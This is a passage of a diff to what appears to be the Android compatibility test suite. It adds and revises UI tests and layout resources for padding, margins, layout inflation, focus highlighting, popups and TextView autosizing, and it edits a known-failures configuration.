+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content">
+
+    <include layout="@layout/include_layout_explicit" />
+
+    <include layout="?attr/includeLayout" />
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/view_padding.xml b/tests/tests/view/res/layout/view_padding.xml
index e3b0deb..c0e6e90 100644
--- a/tests/tests/view/res/layout/view_padding.xml
+++ b/tests/tests/view/res/layout/view_padding.xml
@@ -132,10 +132,12 @@
     <LinearLayout
             android:orientation="horizontal"
             android:padding="@dimen/insetAll"
-            android:paddingLeft="0dp"
-            android:paddingTop="0dp"
-            android:paddingRight="0dp"
-            android:paddingBottom="0dp"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingVertical="@dimen/insetVertical"
+            android:paddingLeft="@dimen/insetLeft"
+            android:paddingTop="@dimen/insetTop"
+            android:paddingRight="@dimen/insetRight"
+            android:paddingBottom="@dimen/insetBottom"
             android:layout_width="match_parent"
             android:layout_height="100dp">
         <View
@@ -144,5 +146,32 @@
                 android:id="@+id/view10"/>
     </LinearLayout>
 
+    <LinearLayout
+            android:orientation="horizontal"
+            android:padding="@dimen/insetAll"
+            android:paddingStart="@dimen/insetStart"
+            android:paddingEnd="@dimen/insetEnd"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view11"/>
+    </LinearLayout>
+
+    <LinearLayout
+            android:orientation="horizontal"
+            android:paddingHorizontal="@dimen/insetHorizontal"
+            android:paddingStart="@dimen/insetStart"
+            android:paddingEnd="@dimen/insetEnd"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:id="@+id/view12"/>
+    </LinearLayout>
+
+
 </LinearLayout>
 
diff --git a/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
index a1c4051..3049623 100644
--- a/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
+++ b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
@@ -36,7 +36,7 @@
         <View
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
-                android:layout_marginHorizontal="10dp"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
                 android:id="@+id/view2"/>
     </LinearLayout>
 
@@ -47,7 +47,7 @@
         <View
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
-                android:layout_marginVertical="10dp"
+                android:layout_marginVertical="@dimen/marginVertical"
                 android:id="@+id/view3"/>
     </LinearLayout>
 
@@ -58,8 +58,8 @@
         <View
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
-                android:layout_marginHorizontal="10dp"
-                android:layout_marginVertical="10dp"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginVertical="@dimen/marginVertical"
                 android:id="@+id/view4"/>
     </LinearLayout>
 
@@ -70,16 +70,15 @@
         <View
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
-                android:layout_marginHorizontal="10dp"
-                android:layout_marginLeft="5dp"
-                android:layout_marginRight="2dp"
-                android:layout_marginVertical="10dp"
-                android:layout_marginTop="5dp"
-                android:layout_marginBottom="2dp"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginLeft="@dimen/marginLeft"
+                android:layout_marginRight="@dimen/marginRight"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:layout_marginTop="@dimen/marginTop"
+                android:layout_marginBottom="@dimen/marginBottom"
                 android:id="@+id/view5"/>
     </LinearLayout>
 
-
     <LinearLayout
             android:orientation="horizontal"
             android:layout_width="match_parent"
@@ -87,12 +86,26 @@
         <View
                 android:layout_width="match_parent"
                 android:layout_height="match_parent"
-                android:layout_marginHorizontal="10dp"
-                android:layout_marginStart="5dp"
-                android:layout_marginEnd="2dp"
-                android:layout_marginVertical="10dp"
+                android:layout_marginHorizontal="@dimen/marginHorizontal"
+                android:layout_marginStart="@dimen/marginStart"
+                android:layout_marginEnd="@dimen/marginEnd"
+                android:layout_marginVertical="@dimen/marginVertical"
                 android:id="@+id/view6"/>
     </LinearLayout>
 
+    <LinearLayout
+            android:orientation="horizontal"
+            android:layout_width="match_parent"
+            android:layout_height="100dp">
+        <View
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                android:layout_margin="@dimen/marginAll"
+                android:layout_marginStart="@dimen/marginStart"
+                android:layout_marginEnd="@dimen/marginEnd"
+                android:layout_marginVertical="@dimen/marginVertical"
+                android:id="@+id/view7"/>
+    </LinearLayout>
+
 </LinearLayout>
 
diff --git a/tests/tests/view/res/values/attrs.xml b/tests/tests/view/res/values/attrs.xml
index 4c3d9db..e7181fc 100644
--- a/tests/tests/view/res/values/attrs.xml
+++ b/tests/tests/view/res/values/attrs.xml
@@ -129,7 +129,6 @@
     <attr name="themeType" format="integer"/>
     <!-- Theme reference used to override parent theme. -->
     <attr name="themeOverrideAttr" format="reference"/>
-
     <!-- Drawable theming attributes -->
     <attr name="themeBoolean" />
     <attr name="themeColor" />
@@ -142,4 +141,6 @@
     <attr name="themeGravity" />
     <attr name="themeTileMode" />
     <attr name="themeAngle" />
+    <!-- Used by LayoutInflaterTest to specify layout from ?attr. -->
+    <attr name="includeLayout" format="reference" />
 </resources>
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 59369a7..5680de0 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -24,9 +24,20 @@
     <dimen name="insetTop">6dp</dimen>
     <dimen name="insetRight">7dp</dimen>
     <dimen name="insetBottom">8dp</dimen>
-    <dimen name="insetAll">9dp</dimen>
-    <dimen name="insetHorizontal">10dp</dimen>
-    <dimen name="insetVertical">11dp</dimen>
+    <dimen name="insetStart">9dp</dimen>
+    <dimen name="insetEnd">10dp</dimen>
+    <dimen name="insetAll">11dp</dimen>
+    <dimen name="insetHorizontal">12dp</dimen>
+    <dimen name="insetVertical">13dp</dimen>
+    <dimen name="marginLeft">5dp</dimen>
+    <dimen name="marginTop">6dp</dimen>
+    <dimen name="marginRight">7dp</dimen>
+    <dimen name="marginBottom">8dp</dimen>
+    <dimen name="marginStart">9dp</dimen>
+    <dimen name="marginEnd">10dp</dimen>
+    <dimen name="marginAll">11dp</dimen>
+    <dimen name="marginHorizontal">12dp</dimen>
+    <dimen name="marginVertical">13dp</dimen>
     <dimen name="hover_target_margin">4dp</dimen>
     <dimen name="hover_target_size">8dp</dimen>
     <dimen name="hover_target_size_double">16dp</dimen>
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 4979241..17bc2a3 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -136,6 +136,7 @@
         <item name="android:windowNoTitle">true</item>
         <item name="android:panelColorForeground">#ff000000</item>
         <item name="android:panelColorBackground">#ffffffff</item>
+        <item name="includeLayout">@layout/include_layout_from_attr</item>
     </style>
 
     <style name="Theme_OverrideOuter">
diff --git a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
index b445165..3460525 100644
--- a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
@@ -37,6 +37,7 @@
 import android.util.AttributeSet;
 import android.util.TypedValue;
 import android.util.Xml;
+import android.view.ContextThemeWrapper;
 import android.view.Gravity;
 import android.view.InflateException;
 import android.view.LayoutInflater;
@@ -395,6 +396,22 @@
         assertEquals(tagId + " has tag " + expectedValue, expectedValue, tag);
     }
 
+    @Test
+    public void testInclude() {
+        final Context themedContext = new ContextThemeWrapper(mContext, R.style.Test_Theme);
+        final LayoutInflater inflater = LayoutInflater.from(themedContext);
+
+        final View container = inflater.inflate(R.layout.inflater_layout_include, null);
+        assertNotNull(container.findViewById(R.id.include_layout_explicit));
+        assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+    }
+
+    @Test(expected = InflateException.class)
+    public void testIncludeMissingAttr() {
+        final View container = mLayoutInflater.inflate(R.layout.inflater_layout_include, null);
+        assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+    }
+
     static class MockLayoutInflater extends LayoutInflater {
 
         public MockLayoutInflater(Context c) {
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
index 34a6020..0867338 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
@@ -22,6 +22,7 @@
 
 import android.content.Context;
 import android.content.res.XmlResourceParser;
+import android.graphics.Rect;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -234,27 +235,32 @@
         View view4 = viewGroup.findViewById(R.id.view4);
         View view5 = viewGroup.findViewById(R.id.view5);
         View view6 = viewGroup.findViewById(R.id.view6);
+        View view7 = viewGroup.findViewById(R.id.view7);
 
-        int defaultWidth = view1.getWidth();
-        int defaultHeight = view1.getHeight();
-        int marginPixels = (int) (mContext.getResources().getDisplayMetrics().density * 10 + .5f);
+        Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
+                view1.getBottom());
+        int marginStart = mContext.getResources().getDimensionPixelSize(R.dimen.marginStart);
+        int marginEnd = mContext.getResources().getDimensionPixelSize(R.dimen.marginEnd);
+        int marginAll = mContext.getResources().getDimensionPixelSize(R.dimen.marginAll);
+        int marginHorizontal =
+                mContext.getResources().getDimensionPixelSize(R.dimen.marginHorizontal);
+        int marginVertical = mContext.getResources().getDimensionPixelSize(R.dimen.marginVertical);
 
-        assertEquals("Width value", defaultWidth, view1.getWidth());
-        assertEquals("Height value", defaultHeight, view1.getHeight());
+        checkBounds(view2, defaultBounds, marginHorizontal, 0, marginHorizontal, 0);
+        checkBounds(view3, defaultBounds, 0, marginVertical, 0, marginVertical);
+        checkBounds(view4, defaultBounds, marginHorizontal, marginVertical,
+                marginHorizontal, marginVertical);
+        checkBounds(view5, defaultBounds, marginHorizontal, marginVertical,
+                marginHorizontal, marginVertical);
+        checkBounds(view6, defaultBounds, marginStart, marginVertical, marginEnd, marginVertical);
+        checkBounds(view7, defaultBounds, marginAll, marginAll, marginAll, marginAll);
+    }
 
-        assertEquals("Width value", defaultWidth - 2 * marginPixels, view2.getWidth());
-        assertEquals("Height value", defaultHeight, view2.getHeight());
-
-        assertEquals("Width value", defaultWidth, view3.getWidth());
-        assertEquals("Height value", defaultHeight - 2 * marginPixels, view3.getHeight());
-
-        assertEquals("Width value", defaultWidth - 2 * marginPixels, view4.getWidth());
-        assertEquals("Height value", defaultHeight - 2 * marginPixels, view4.getHeight());
-
-        assertEquals("Width value", defaultWidth - 2 * marginPixels, view5.getWidth());
-        assertEquals("Height value", defaultHeight - 2 * marginPixels, view5.getHeight());
-
-        assertEquals("Width value", defaultWidth - 2 * marginPixels, view6.getWidth());
-        assertEquals("Height value", defaultHeight - 2 * marginPixels, view6.getHeight());
+    private void checkBounds(View view, Rect defaultBounds,
+            int insetLeft, int insetTop, int insetRight, int insetBottom) {
+        assertEquals("Left", defaultBounds.left + insetLeft, view.getLeft());
+        assertEquals("Top", defaultBounds.top + insetTop, view.getTop());
+        assertEquals("Right", defaultBounds.right - insetRight, view.getRight());
+        assertEquals("Bottom", defaultBounds.bottom - insetBottom, view.getBottom());
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
index b146f9d..60fa170 100644
--- a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
@@ -61,6 +61,8 @@
         View view8 = viewGroup.findViewById(R.id.view8);
         View view9 = viewGroup.findViewById(R.id.view9);
         View view10 = viewGroup.findViewById(R.id.view10);
+        View view11 = viewGroup.findViewById(R.id.view11);
+        View view12 = viewGroup.findViewById(R.id.view12);
 
         Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
                 view1.getBottom());
@@ -68,6 +70,8 @@
         int insetRight = mContext.getResources().getDimensionPixelSize(R.dimen.insetRight);
         int insetTop = mContext.getResources().getDimensionPixelSize(R.dimen.insetTop);
         int insetBottom = mContext.getResources().getDimensionPixelSize(R.dimen.insetBottom);
+        int insetStart = mContext.getResources().getDimensionPixelSize(R.dimen.insetStart);
+        int insetEnd = mContext.getResources().getDimensionPixelSize(R.dimen.insetEnd);
         int insetAll = mContext.getResources().getDimensionPixelSize(R.dimen.insetAll);
         int insetHorizontal =
                 mContext.getResources().getDimensionPixelSize(R.dimen.insetHorizontal);
@@ -84,6 +88,8 @@
         checkBounds(view9, defaultBounds, insetHorizontal, insetVertical, insetHorizontal,
                 insetVertical);
         checkBounds(view10, defaultBounds, insetAll, insetAll, insetAll, insetAll);
+        checkBounds(view11, defaultBounds, insetStart, insetAll, insetEnd, insetAll);
+        checkBounds(view12, defaultBounds, insetStart, 0, insetEnd, 0);
     }
 
     private void checkBounds(View view, Rect defaultBounds,
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 5e362cf..b019fb1 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -20,6 +20,11 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.content.res.ColorStateList;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.RippleDrawable;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
@@ -27,6 +32,7 @@
 import android.view.View;
 import android.widget.Button;
 import android.widget.EditText;
+import android.widget.ImageView;
 import android.widget.LinearLayout;
 import android.widget.ListView;
 
@@ -90,4 +96,59 @@
         assertFalse(button.getDefaultFocusHighlightEnabled());
         assertFalse(linearLayout.getDefaultFocusHighlightEnabled());
     }
+
+    @UiThreadTest
+    @Test
+    public void testIsDefaultFocusHighlightNeeded() {
+        Activity activity = mActivityRule.getActivity();
+        final Button button = (Button) activity.findViewById(R.id.button_to_test_highlight_needed);
+        final ImageView imageView =
+                (ImageView) activity.findViewById(R.id.image_view_to_test_highlight_needed);
+
+        final Drawable[] drawables = new Drawable[] {
+                null,  // null
+                new ColorDrawable(Color.WHITE), // not stateful
+                new RippleDrawable(ColorStateList.valueOf(Color.WHITE), null, null) // stateful
+        };
+        final boolean[] lackFocusState = new boolean[]{
+                true, // for null
+                true, // for not stateful
+                false, // for stateful
+        };
+
+        boolean isNeeded, expected;
+
+        // View
+        for (int i = 0; i < drawables.length; i++) {
+            for (int j = 0; j < drawables.length; j++) {
+                // Turn on default focus highlight.
+                button.setDefaultFocusHighlightEnabled(true);
+                isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                expected = lackFocusState[i] && lackFocusState[j];
+                assertTrue(isNeeded == expected);
+                // Turn off default focus highlight.
+                button.setDefaultFocusHighlightEnabled(false);
+                isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                assertFalse(isNeeded);
+            }
+        }
+
+        // ImageView
+        for (int k = 0; k < drawables.length; k++) {
+            imageView.setImageDrawable(drawables[k]);
+            for (int i = 0; i < drawables.length; i++) {
+                for (int j = 0; j < drawables.length; j++) {
+                    // Turn on default focus highlight.
+                    imageView.setDefaultFocusHighlightEnabled(true);
+                    isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                    expected = lackFocusState[i] && lackFocusState[j] && lackFocusState[k];
+                    assertTrue(isNeeded == expected);
+                    // Turn off default focus highlight.
+                    imageView.setDefaultFocusHighlightEnabled(false);
+                    isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                    assertFalse(isNeeded);
+                }
+            }
+        }
+    }
 }
diff --git a/tests/tests/widget/res/layout/textview_autosize_maxlines.xml b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
new file mode 100644
index 0000000..fc0d265
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_autosize_maxlines.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<view
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    class="android.widget.cts.TextViewTest$CustomTextViewWithTransformationMethod"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:maxLines="1"
+    android:autoSizeTextType="uniform"/>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
index 94a9923..cc86808 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
@@ -36,6 +36,7 @@
 import android.content.Context;
 import android.os.Parcelable;
 import android.provider.Settings;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
@@ -290,6 +291,9 @@
                         ViewGroup.LayoutParams.MATCH_PARENT)), true);
 
         mActivityRule.runOnUiThread(() -> setArrayAdapter(mAdapterView));
+        // Wait for the UI to "settle down" since selection is fired asynchronously
+        // on the next layout pass, and we don't want to trigger the listener too early
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
 
         AdapterView.OnItemSelectedListener mockSelectedListener =
                 mock(AdapterView.OnItemSelectedListener.class);
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 54fb190..a9b5a13 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -1459,6 +1459,15 @@
         // Check alignment while overlapping the anchor.
         subPopup.setOverlapAnchor(true);
 
+        final int anchorHeight = mActivity.findViewById(R.id.anchor_lower_right).getHeight();
+        // To simplify the math assert that all three lower anchors are the same height.
+        assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower_left).getHeight());
+        assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower).getHeight());
+
+        final int verticalSpaceBelowAnchor = anchorHeight * 2;
+        // Ensure that the subpopup is flipped vertically.
+        subPopup.setHeight(verticalSpaceBelowAnchor + 1);
+
         verifySubPopupPosition(subPopup, R.id.anchor_upper_left, R.id.anchor_lower_right,
                 LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
         verifySubPopupPosition(subPopup, R.id.anchor_middle_left, R.id.anchor_lower_right,
@@ -1480,6 +1489,16 @@
         verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
                 RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
 
+        // Re-test for the bottom anchor row ensuring that the subpopup not flipped vertically.
+        subPopup.setHeight(verticalSpaceBelowAnchor - 1);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
+
         // Check that scrolling scrolls the sub popup along with the main popup.
         showPopup(R.id.anchor_middle);
 
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
new file mode 100644
index 0000000..2acf8ecd
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.graphics.drawable.DrawableContainer;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.ProgressBar;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ProgressBarDrawableContainerTest {
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<RadioGroupCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RadioGroupCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMutate() {
+        DrawableContainer d = (DrawableContainer) new ProgressBar(
+                mActivity).getIndeterminateDrawable().mutate();
+
+        boolean mirrored = d.isAutoMirrored();
+        d.setAutoMirrored(!mirrored);
+
+        ProgressBar newBar = new ProgressBar(mActivity);
+        DrawableContainer d2 = (DrawableContainer) newBar.getIndeterminateDrawable();
+        boolean newMirrored = d2.isAutoMirrored();
+        assertEquals(newMirrored, mirrored);
+    }
+
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 3207773..1198229 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -45,6 +45,7 @@
 import static java.lang.annotation.RetentionPolicy.SOURCE;
 
 import android.annotation.IntDef;
+import android.annotation.Nullable;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
@@ -112,6 +113,7 @@
 import android.text.style.URLSpan;
 import android.text.style.UnderlineSpan;
 import android.text.util.Linkify;
+import android.util.AttributeSet;
 import android.util.DisplayMetrics;
 import android.util.SparseArray;
 import android.util.TypedValue;
@@ -6612,6 +6614,46 @@
     }
 
     @Test
+    public void testAutosizeWithMaxLines_shouldNotThrowException() throws Throwable {
+        // the layout contains an instance of CustomTextViewWithTransformationMethod
+        final TextView textView = (TextView) mActivity.getLayoutInflater()
+                .inflate(R.layout.textview_autosize_maxlines, null);
+        assertTrue(textView instanceof CustomTextViewWithTransformationMethod);
+        assertEquals(1, textView.getMaxLines());
+        assertEquals(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM, textView.getAutoSizeTextType());
+        assertTrue(textView.getTransformationMethod() instanceof SingleLineTransformationMethod);
+    }
+
+    public static class CustomTextViewWithTransformationMethod extends TextView {
+        public CustomTextViewWithTransformationMethod(Context context) {
+            super(context);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs) {
+            super(context, attrs);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs, int defStyleAttr) {
+            super(context, attrs, defStyleAttr);
+            init();
+        }
+
+        public CustomTextViewWithTransformationMethod(Context context,
+                @Nullable AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+            super(context, attrs, defStyleAttr, defStyleRes);
+            init();
+        }
+
+        private void init() {
+            setTransformationMethod(new SingleLineTransformationMethod());
+        }
+    }
+
+    @Test
     public void testAutoSize_setEllipsize() throws Throwable {
         final TextView textView = (TextView) mActivity.findViewById(
                 R.id.textview_autosize_uniform_predef_sizes);
@@ -7238,6 +7280,70 @@
     }
 
     @Test
+    public void testAutoSizeUniform_equivalentConfigurations() throws Throwable {
+        final DisplayMetrics dm = mActivity.getResources().getDisplayMetrics();
+        final int minTextSize = 10;
+        final int maxTextSize = 20;
+        final int granularity = 2;
+        final int unit = TypedValue.COMPLEX_UNIT_SP;
+
+        final TextView granularityTextView = new TextView(mActivity);
+        granularityTextView.setAutoSizeTextTypeUniformWithConfiguration(
+                minTextSize, maxTextSize, granularity, unit);
+
+        final TextView presetTextView = new TextView(mActivity);
+        presetTextView.setAutoSizeTextTypeUniformWithPresetSizes(
+                new int[] {minTextSize, 12, 14, 16, 18, maxTextSize}, unit);
+
+        // The TextViews have been configured differently but the end result should be nearly
+        // identical.
+        final int expectedAutoSizeType = TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM;
+        assertEquals(expectedAutoSizeType, granularityTextView.getAutoSizeTextType());
+        assertEquals(expectedAutoSizeType, presetTextView.getAutoSizeTextType());
+
+        final int expectedMinTextSizeInPx = Math.round(
+                TypedValue.applyDimension(unit, minTextSize, dm));
+        assertEquals(expectedMinTextSizeInPx, granularityTextView.getAutoSizeMinTextSize());
+        assertEquals(expectedMinTextSizeInPx, presetTextView.getAutoSizeMinTextSize());
+
+        final int expectedMaxTextSizeInPx = Math.round(
+                TypedValue.applyDimension(unit, maxTextSize, dm));
+        assertEquals(expectedMaxTextSizeInPx, granularityTextView.getAutoSizeMaxTextSize());
+        assertEquals(expectedMaxTextSizeInPx, presetTextView.getAutoSizeMaxTextSize());
+
+        // Configured with granularity.
+        assertEquals(Math.round(TypedValue.applyDimension(unit, granularity, dm)),
+                granularityTextView.getAutoSizeStepGranularity());
+        // Configured with preset values, there is no granularity.
+        assertEquals(-1, presetTextView.getAutoSizeStepGranularity());
+
+        // Both TextViews generate exactly the same sizes in pixels to choose from when auto-sizing.
+        assertArrayEquals(
+                granularityTextView.getAutoSizeTextAvailableSizes(),
+                presetTextView.getAutoSizeTextAvailableSizes());
+
+        final String someText = "This is a string";
+        final int widthHeight = 600;
+        // Configure identically and attach to layout.
+        mActivityRule.runOnUiThread(() -> {
+            LinearLayout ll = mActivity.findViewById(R.id.layout_textviewtest);
+            ll.addView(granularityTextView);
+            ll.addView(presetTextView);
+
+            granularityTextView.setWidth(widthHeight);
+            granularityTextView.setHeight(widthHeight);
+            granularityTextView.setText(someText);
+
+            presetTextView.setWidth(widthHeight);
+            presetTextView.setHeight(widthHeight);
+            presetTextView.setText(someText);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(granularityTextView.getTextSize(), presetTextView.getTextSize(), 0f);
+    }
+
+    @Test
     public void testAutoSizeUniform_getSetAutoSizeMaxTextSize() {
         final TextView textView = new TextView(mActivity);
         textView.setAutoSizeTextTypeWithDefaults(TextView.AUTO_SIZE_TEXT_TYPE_UNIFORM);
@@ -7264,8 +7370,8 @@
                 TypedValue.COMPLEX_UNIT_SP);
         // It does not matter which unit has been used to set the max size, the getter always
         // returns it in pixels.
-        assertEquals((int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMaxSize,
-                mActivity.getResources().getDisplayMetrics()), textView.getAutoSizeMaxTextSize());
+        assertEquals(Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, newMaxSize,
+                mActivity.getResources().getDisplayMetrics())), textView.getAutoSizeMaxTextSize());
     }
 
     @Test
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index f135738..aaf1f81 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -97,22 +97,6 @@
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW" />
     <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW" />
 
-    <!-- b/30932589 -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromExifByteOrderIIJpeg" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromExifByteOrderMMJpeg" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromLgG4Iso800Dng" />
